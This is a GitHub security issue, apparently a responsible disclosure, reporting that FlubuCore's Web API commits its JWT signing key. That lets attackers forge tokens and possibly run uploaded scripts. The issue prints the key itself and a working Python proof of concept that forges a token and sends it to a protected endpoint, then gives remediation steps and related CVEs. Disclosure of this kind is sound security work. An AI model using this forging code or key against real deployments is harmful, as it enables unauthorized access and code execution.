Skip to content

[Security]Committed JWT key allows API authentication bypass when deployment is skipped #371

Description

@28Hus

Committed JWT key allows API authentication bypass when deployment is skipped

Hello maintainers, could you review this authentication issue?

Summary

Image

src/FlubuCore.WebApi/appsettings.json commits the JWT signing key fasfgvgl#@%VZA5@!EDDA@R$ESF@cdc__das_3. Any network-reachable instance that starts with this configuration and no key override accepts attacker-signed HS256 tokens. An attacker can set the configured issuer and audience and access JWT-protected API endpoints without a valid account or password.

The deployment script replaces the key during a fresh scripted deployment, but the repository does not require that script or reject the committed key at startup. Manual deployments and other launch methods can therefore leave the public key active. The Visual Studio launch profile binds to localhost; this report concerns instances that expose the Web API over a network while retaining the checked-in configuration.

When Scripts exists and script upload remains enabled, the checked-in AllowScriptUpload=true also lets an attacker upload a .cs file. The JWT-protected /api/Scripts/Execute runs a requested Flubu target and does not enforce the Web UI's AllowScriptExecution=false setting. This can execute attacker-controlled code as the Web API process.

Evidence

Proof of concept

This creates a five-minute token and sends a harmless JSON request to a protected endpoint. With the forged token, the action reaches its form-content check and returns 400; without a valid token, it returns 401. The request does not upload or delete files. Use only on an instance you are authorized to assess.

import base64
import hashlib
import hmac
import json
import time
import urllib.error
import urllib.request
import uuid

b64url = lambda b: base64.urlsafe_b64encode(b).rstrip(b"=").decode()
now = int(time.time())
header = {"alg": "HS256", "typ": "JWT"}
payload = {
    "iss": "FlubuCoreWebApi",
    "aud": "FlubuCoreConsole",
    "sub": "forged-user",
    "iat": now,
    "nbf": now,
    "exp": now + 300,
    "jti": str(uuid.uuid4()),
}
body = f"{b64url(json.dumps(header, separators=(',', ':')).encode())}.{b64url(json.dumps(payload, separators=(',', ':')).encode())}"
key = b"fasfgvgl#@%VZA5@!EDDA@R$ESF@cdc__das_3"
signature = b64url(hmac.new(key, body.encode(), hashlib.sha256).digest())
token = f"{body}.{signature}"
request = urllib.request.Request(
    "https://<authorized-instance>/api/Packages",
    data=b"{}",
    headers={
        "Authorization": f"Bearer {token}",
        "Content-Type": "application/json",
    },
    method="POST",
)
try:
    with urllib.request.urlopen(request) as response:
        print(response.status)
except urllib.error.HTTPError as error:
    print(error.code, error.read().decode())

Remediation

Remove the committed signing key. Require a unique cryptographically secure key from deployment secrets and fail startup if it is missing or matches a known value. Generate replacement keys with a cryptographic random generator, rotate keys on instances that used this value, keep script upload disabled unless needed, and enforce the execution setting on the API route as well as the Web UI.

Related works

Hard-coded JWT signing secrets

  • AgileConfig: a hard-coded JWT secret enabled administrator token forgery (CVE-2022-35540).
  • Veeam Recovery Orchestrator: a hard-coded JWT secret enabled authentication bypass (CVE-2024-29855).
  • GFI Archiver: a hard-coded ArchiverSpaApi signing key allowed forged access tokens; exploitation required a valid user identifier (CVE-2025-35940, Tenable).

ASP.NET machine-key misuse

  • DotNetNuke: unchanged default validation and decryption keys enabled access-control bypass (CVE-2008-6540).
  • Microsoft Exchange: fixed ASP.NET machine keys enabled authenticated ViewState forgery and code execution (CVE-2020-0688, ZDI).
  • Gladinet CentreStack/Triofox: a hard-coded machine key contributed to ViewState deserialization and remote code execution (CVE-2025-30406).
  • Sitecore: deployments reusing a public sample machine key were vulnerable to ViewState deserialization attacks (CVE-2025-53690, Mandiant).
  • KnowledgeDeliver: a pre-shared machine key enabled ViewState validation bypass and remote code execution (CVE-2026-5426, Mandiant).

This report is part of my ongoing security research. Please feel free to @mention me with any questions. I would be glad to clarify anything and grateful for the opportunity to make a small contribution to FlubuCore's security.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions